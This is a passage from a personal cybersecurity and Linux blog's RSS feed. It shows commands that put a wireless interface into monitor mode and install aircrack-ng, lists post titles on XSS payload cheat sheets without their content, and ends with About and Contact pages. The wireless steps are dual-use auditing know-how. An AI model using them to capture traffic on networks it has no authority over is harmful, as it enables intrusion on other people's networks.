&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; down
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo iw &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; monitor control
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; up
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="adding-a-new-monitor-interface"&gt;Adding a New Monitor Interface&lt;/h3&gt;
&lt;p&gt;To add a new monitor interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo iw &lt;span class="o"&gt;[&lt;/span&gt;INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; interface add &lt;span class="o"&gt;[&lt;/span&gt;NEW_INTERFACE&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; monitor
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="aircrack-ng-installation"&gt;Aircrack-ng Installation&lt;/h2&gt;
&lt;p&gt;To install aircrack-ng:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install aircrack-ng
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="airmon-ng-commands"&gt;Airmon-ng Commands&lt;/h2&gt;
&lt;p&gt;To use airmon-ng commands:&lt;/p&gt;</description></item><item><title>XSS File Stealing Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/xss-file-stealing-cheat-sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/xss-file-stealing-cheat-sheet/</guid><description/></item><item><title>XSS Payload Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/xss_payload/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/xss_payload/</guid><description/></item><item><title>Configure Custom DNS Servers in Arch based Linux.</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/change_dns_in_arch_linux/</link><pubDate>Sat, 13 Jan 2024 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/change_dns_in_arch_linux/</guid><description>This guide explains how to configure custom DNS servers in Arch based Linux.</description></item><item><title>About Me</title><link>http://gajendramahato.com.np/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/about/</guid><description>&lt;h2 id="hello-guys-my-name-is-gajendra-mahato"&gt;Hello Guys, my name is Gajendra Mahato&lt;/h2&gt;
&lt;p&gt;I am a &lt;strong&gt;Computer Science Student&lt;/strong&gt; based in Nepal.&lt;/p&gt;
&lt;h3 id="-my-interests"&gt;🚀 My Interests&lt;/h3&gt;
&lt;p&gt;I explore and write about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cybersecurity&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-skills--tools"&gt;🛠️ Skills &amp;amp; Tools&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Networking&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cybersecurity&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;git&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="-connect-with-me"&gt;📫 Connect with me&lt;/h3&gt;
&lt;p&gt;If you like my work or want to collaborate, feel free to reach out!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://facebook.com/NoobGajen"&gt;Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://youtube.com/NoobGajen"&gt;YouTube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/NoobGajen"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/GajendraMahato"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://instagram.com/NoobGajen"&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/NoobGajen"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Contact</title><link>http://gajendramahato.com.np/contact/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/contact/</guid><description>&lt;h2 id="-get-in-touch"&gt;📬 Get in Touch&lt;/h2&gt;
&lt;p&gt;I am always open to discussing &lt;strong&gt;new projects&lt;/strong&gt;, &lt;strong&gt;creative ideas&lt;/strong&gt;, or reading your &lt;strong&gt;writeups&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="-find-me-here"&gt;📍 Find me here&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Email&lt;/strong&gt;: &lt;a href="mailto:sudogajendra@gmail.com"&gt;sudogajendra@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LinkedIn&lt;/strong&gt;: &lt;a href="https://www.linkedin.com/in/GajendraMahato"&gt;Gajendra Mahato&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="-send-a-message"&gt;💬 Send a Message&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;(Optional: You can embed a Google Form or use a service like Formspree here)&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Portfolio</title><link>http://gajendramahato.com.np/portfolio/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/portfolio/</guid><description>Portfolio of Gajendra Mahato</description></item></channel></rss>